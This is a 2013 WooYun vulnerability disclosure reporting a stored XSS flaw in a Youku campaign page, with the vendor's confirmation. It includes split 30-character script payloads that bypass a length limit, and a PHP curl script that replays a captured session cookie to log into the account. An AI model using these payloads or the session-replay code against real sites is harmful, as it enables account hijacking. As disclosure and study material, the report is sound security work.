当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-044635

漏洞标题:优酷某活动网站过滤不当导致存储型xss

相关厂商:优酷

漏洞作者: IT P民

提交时间:2013-12-01 20:37

修复时间:2014-01-15 20:38

公开时间:2014-01-15 20:38

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-01: 细节已通知厂商并且等待厂商处理中
2013-12-02: 厂商已经确认,细节仅向厂商公开
2013-12-12: 细节向核心白帽子及相关领域专家公开
2013-12-22: 细节向普通白帽子公开
2014-01-01: 细节向实习白帽子公开
2014-01-15: 细节向公众公开

简要描述:

优酷网 某活动页面过滤不当,可导致用户cookie被盗。获取用户cookie之后可登陆优酷网,可上传视频等。

详细说明:

存在问题的页面是:
http://minisite.youku.com/autobaojun/ 。点击我要参加,随便填 123 个表单,弹出复层。

QQ20131201-13.png


测试得知 姓名字段没有过滤。
但是输入 <img src=# onerror=alert(document.cookie) /> 之后会被截断到 30字符以内。所以,数据库字段设计在 30 字符以内,插入的时候自动截断了。
然后就是比短了,把xss字符缩短至 30字符以内。经分析 其列表页 http://minisite.youku.com/autobaojun/list.php 按照创建时间降序排列,所以,只要构造的30字符以内的xss代码在同一个页面,都可以执行。
构造以下代码:

'<script>eval(z);</script>',
'<script>z+="ookie);"</script>',
'<script>z+="ent.c";</script>',
'<script>z+="docum";</script>',
'<script>z="alert(";</script>',


然后逐条插入,注意插入的顺序,最后执行的脚本在第一条【逆序构造】。页面输入如下:

QQ20131201-14.png


如上,成功拿到cookie.
拿到cookie 之后可以干什么呢?咱们来curl一下,

<?php
header("Content-Type:text/html;charset=UTF-8");
$url = "http://www.youku.com/";
$domain = "youku.com";
$cookie = "PHPSESSID=4bkhp740s4hrk2bet7gjcidi02; ykss=350b9b52454a62b056e37289; advideo86850_3=2; advideo87469_2=1; advideo87472_2=2; __ysuid=1385892638755ty7; u=xxx; _l_lgi=27305187; yktk=1%7C1385892764%7C15%7CaWQ6MjczMDUxODcsbm46eXV5YW55ZSx2aXA6ZmFsc2UseXRpZDowLHRpZDow%7Cf8b9139d4a3a19588483a401f167aa84%7C4763ce1b93a8d6fdf3a47b2f6f4d87225769e6e1%7C1; ucup=nn";
function explode_cookie($cookie,$domain) {
$cookie_arr = explode(";", $cookie);

foreach ($cookie_arr as $cookie_str) {
list($cookie_key,$cookie_value) = explode("=", $cookie_str);
$cookie_key = trim($cookie_key);
setcookie($cookie_key,$cookie_value,1800,'/',$domain);
}
}
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
explode_cookie($cookie,$domain);
$header = array();
$header[] = "Cookie: {$cookie}\r\n";
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
$data = curl_exec($ch);
echo $data;
curl_close($ch);


恩,来看curl的页面:

QQ20131201-11.png


,点击上传

QQ20131201-12.png


成功登陆,可以写操作有木有!
呵呵,虽说是个活动页面,但是危害还是有的,数据库截断并不保险。
挖了一下午才搞定,优酷哥哥,来个礼物呗【-_-|,请原谅我有礼物收集癖好】。

漏洞证明:

QQ20131201-11.png


,点击上传

QQ20131201-12.png


成功登陆,可以写操作有木有!

修复方案:

过滤。
另外,建议过期的活动就把页面下掉吧。

版权声明:转载请注明来源 IT P民@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-12-02 09:14

厂商回复:

谢谢

最新状态:

暂无